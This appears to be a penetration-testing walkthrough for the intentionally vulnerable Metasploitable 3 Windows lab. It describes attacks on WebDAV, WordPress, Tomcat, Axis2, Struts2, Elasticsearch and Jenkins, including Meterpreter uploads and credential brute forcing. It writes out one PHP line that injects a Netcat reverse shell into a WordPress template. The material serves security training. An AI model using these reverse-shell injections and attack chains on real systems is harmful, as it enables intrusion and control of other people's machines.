Metasploitable 3 Windows Walkthrough: Part X

Exploiting Port 8585 – WebDAV

There are multiple services running on this single port.

Web Distributed Authoring and Versioning is an extension of the Hypertext Transfer Protocol that allows clients to perform remote Web content authoring operations. In Metasploitable3, the uploads directory looks promising and for now it is completely empty:

Enumerating WebDAV using Directory Buster

Directory Buster (dirb) is a nice tool that brute forces directories on a webserver.

Now you can use several methods to determine if you’re allowed to upload files to this directory with the HTTP PUT method

Enumerating WebDAV using Nmap

As you can see, the webserver allows you to upload files to the uploads directory and even delete files.

Enumerating WebDAV using Nikto

You can also use this web vulnerability scanner to identify features in the webserver. If the HTTP PUT method is enabled than Nikto will indicate this as following:

The last line of Nikto output indicates that the uploads directories allows uploading files using HTTP PUT.

Enumerating WebDAV using Metasploit

Using Metasploit you can also do WebDav Enumeration.

As you can see, the uploads directory is writable and a number of different file formats can be uploaded over there.

Exploiting WebDAV

Uploading a payload to WebDAV

Now that you know that you can upload files to the server, the next step is creating a Meterpreter PHP reverse shell script to be deployed to the webserver. Create the scripts with these parameters:

• Kali IP: 172.16.1.6
• Kali port: 5555

Now setup a listener to receive the incoming connection choosing the correct payload:

Now you have multiple options to deploy the payload to the target machine.

Exploiting WebDAV using Nmap

Nmap has a script created exactly to take advantage of the HTTP PUT method. Because port 8585 is not defined as an HTTP service port in the Nmap services file it is fundamental that you run a service scan with the -sV flag. Otherwise, the script will fail in uploading the file and will only display an open port and unknown service.

Now, if you browse the uploads directory and click on the payload.php file you will get a meterpreter shell:

This is low privilege shell, but it’s a start.

Before you try some other deployment methods, close the meterpreter session and remove the previous payload from the WebDAV server using curl:

Exploiting WebDAV using Metasploit

You can also use the Metasploit auxiliary module HTTP PUT to upload a file to the uploads web directory. Use the previously created payload:

Metasploit is showing us that the upload has failed, but when we check the uploads directory on the webserver we can see that the file upload did go through.

Setup the same listener as before and repeat the same procedure of browsing and clicking the payload on the target server.

Exploiting WebDAV using curl

You can also upload the payload using curl:

Exploiting WebDAV using cadaver

Finally, you can also use cadaver to upload the file:

Exploiting Port 8585 – Wordpress

From the start page, if you click on the wordpress link under Your Projects you will see the WordPress website running on the target server.

The link to the login page will take you to /wordpress/wp-login.php

You already have the credentials because you’ve managed to crack the hashes before, remember? Anyway, forget about that and try to get them again.

Brute forcing Wordpress using Nmap

Use your customized wordlists to speed up the process

You have found four valid sets of credentials.

Brute forcing Wordpress using Metasploit

Brute forcing Wordpress using WPScan

WPscan is a powerful tool that can also be used to brute force the access to a WordPress website:

Now, with a valid login you can access the admin page:

Try to get as much information as possible about your target:

Enumerating Wordpress using Nmap

Important information: the installed plugins…

NOTE: Pay attention to the syntax of the NSE scripts.

Enumerating Wordpress using WPScan

This is supposed to be the ultimate tool when it comes to getting information about any WordPress site:

Enumerating Wordpress using Metasploit

This module will enumerate the existing users and then it will check for valid credentials.

Exploiting Wordpress

You can login to the website but what you want is a shell, right? In WordPress you can’t deploy files to the website but you can add code to the existing pages.

Login to WordPress either using admin/sploit or vagrant/vagrant and open the Appearance > Editor

On the right side, select a PHP file preferably header.php.

You will see the PHP code for that page:

Exploiting Wordpress using Metasploit

To open a meterpreter shell, create a proper payload wit MSFVenom:

Open the generated payload and adjust the code uncommenting the beginning and adding the proper closing PHP tag at the end:

Now insert this code at the top of the header.php code editor:

Press the Update File button

Now, setup a listener on the Kali machine, ready to receive the incoming connection:

Go back to your browser and reload the WordPress homepage:

And you have a shell to the target machine

Enumerating Wordpress using Netcat

If the target machine has Netcat or a similar tool installed, it can be used to open a simple reverse shell.

Add the following code to the page, using Kali’s IP and listener port:

<?php echo shell_exec(“nc.exe 172.16.1.6 5555 -e cmd.exe”); ?>

Press the Update File button

Now setup a Netcat listener on Kali:

Now, reloading the WordPress homepage on the browser will run the Netcat or clone command and a reverse connection to Kali will be created.

Exploiting Port 9200 – Elastic Search

Elasticsearch is a real-time distributed and open source full-text search and analytics engine and is known to have a couple of Remote Code Execution vulnerabilities. Start by accessing Metasploitable3’s IP address over port 9200:

Enumerating Elastic Search using Metasploit

There is a Metasploit module to get information about the service:

You can even get files from the target machine:

Exploiting using Metasploit

Metasploit also has a module to exploit a vulnerability present in this version (1.1.1) of the service:

Next post: Metasploitable 3 Ubuntu Walkthrough: Part I

Metasploitable 3 Windows Walkthrough: Part IX

Exploiting Port 8282 – Apache Tomcat

Apache Tomcat provides software to run Java applets in the browser. Coyote is a stand-alone web server that provides servlets to Tomcat applets. That is, it functions like the Apache web server, but for Java Server Pages (JSP). All this means is, web pages accessed through port 8282 will be assembled by a Java web application.

There are many Metasploit modules available for Tomcat so you should focus on your goals:

• Survey the website
• Exploit possible vulnerable pages
• Obtain credentials
• Deploy payload

A web service like this might have multiple entry points and multiple valid credentials

Surveying Apache Tomcat using Metasploit

Apart from the initial page, there might be other interesting pages with other points of entry:

These turn up some interesting pages that can potentially be exploited, namely the /manager and the /axis2.

Brute forcing Apache Tomcat using Metasploit

Try to brute force your way in using the Metasploit module:

The Tomcat credentials are not the default ones. Therefore, you must try something else.

Try to login to the Manager App

You will be prompted for the credentials:

Now just press “Cancel and you will see a 401 page with some very interesting information:

So, the Tomcat server is telling you exactly where to find the valid credentials to login in the Manager App; a file named tomcat-users.xml.

So, all you have to do is read that file to have proper access to the tomcat server.

Using a shell from another exploit, browse to:

C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf

Now examine the contents of the file tomcat-users.xml.

This reveals the username and password to be “sploit/sploit”

Enumerating Apache Tomcat using Metasploit

The Metasploit module will enumerate the available usernames

Obtaining a remote shell on this web server will require uploading and executing a file, but for Tomcat the executable must be a JSP (Java Server Pages) application.

Exploiting Apache Tomcat using Metasploit

This is solved by the tomcat_mgr_upload module:

This is a low privilege shell because it used the default Java target and payload.

But using this module you can also get a system shell:

NOTE: With this module you can get at least two meterpreter system shells and two system command shells, pending on the payload you use:

• windows/meterpreter/reverse_tcp
• windows/meterpreter_reverse_tcp
• windows/shell/reverse_tcp
• windows/shell_reverse_tcp

Exploiting Apache Tomcat manually

If, for some reason, the Metasploit automated payload deployment fails you can still exploit this server manually.

The management web interface gives us a place to upload WAR files, and a way to execute them manually.

The .war are Web ARchive files that contain all the files needed for a Java based web application. These are the files used by the Metasploit modules.

Using msfvenom, you can create shellcode and then specify what type of file to send it to. It just so happens, that one of the filetypes that msfvenom supports is .war.

Use msfvenom to craft a WAR file with the payload, then manually upload and execute it.

• Kali IP: 172.16.1.6
• Kali port: 5555

Access the manager at [Target IP]:8282/manager/html. You will be asked for credentials but that is not a problem; just enter sploit/sploit.

Select the previous file and deploy it.

Note that this does NOT execute the payload yet!!! You need to unpack the .war to get the filename of the corresponding .jsp file:

Use Netcat to receive the incoming shell once the WAR file is executed.

To execute the payload and run the actual .war file, you will need to visit the page:

http://[Target IP]:8180/runme/[Name of file.jsp]

Run the applet/exploit on your browser:

And you will have a shell:

NOTE: You can also setup a listener using Metasploit’s multi handler module.

The advantage of using Metasploit if the possibility of changing the session from command shell to meterpreter.

But sometimes this is just not possible.

But you can try to open a meterpreter session directly:

Start the Metasploit handler using the same payload as the one you use in the MSFVenom:

And you will have a high privilege meterpreter shell.

Cleaning

Remove the .war files by going back to at [Target IP]:8282/manager/html and clicking "Undeploy".

Exploiting Port 8282 - Apache Axis2

Apache Axis2 is a core engine for Web services. It is a complete re-design and re-write of the widely used Apache Axis SOAP stack. You access the service from the Tomcat manager page:

That link will open the general service page. From here you can access the Administration page:

Brute forcing Axis2 using Metasploit

Try to brute force the credentials:

Now you have a valid set of credentials to login and manage the Apache Axis2 service.

Exploiting Axis2 using Metasploit

Another possible approach is to exploit the service using the previously found credentials and a Metasploit module.

Using the default module settings, you will get a low privilege meterpreter session.

NOTE: If you have found valid credentials and they were added to the workspace database, the module will load them automatically.

Exploiting Port 8282 - Apache Struts2

Apache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model–view–controller architecture.

Exploiting Struts2 using Metasploit

This service is exploitable using Metasploit:

As usual, using the default settings for target (Java) and payload, you will get a low privilege session.

Change it to Windows:

Now you have a high privilege session.

Exploiting Port 8484 – Jenkins

Jenkins is an open source automation server written in Java. Jenkins helps to automate the non-human part of the software development process, with continuous integration and facilitating technical aspects of continuous delivery.

As soon as you try to visualize the service, you will get information on where to find the administrator password.

Like you did before, using a shell you can get access to the initialAdminPassword file and read the password.

Now, using this password you can admin the Jenkins service:

Enumerating Jenkins using Metasploit

The initial version of Metasploitable 3 shipped with Jenkins v1.67 and that was very vulnerable to enumeration. The current version of the vulnerable VM ships with Jenkins 2.02 and that is completely different:

Exploiting Jenkins using Metasploit

Using the previous credentials, you can get a meterpreter shell:

But it is a low privilege session…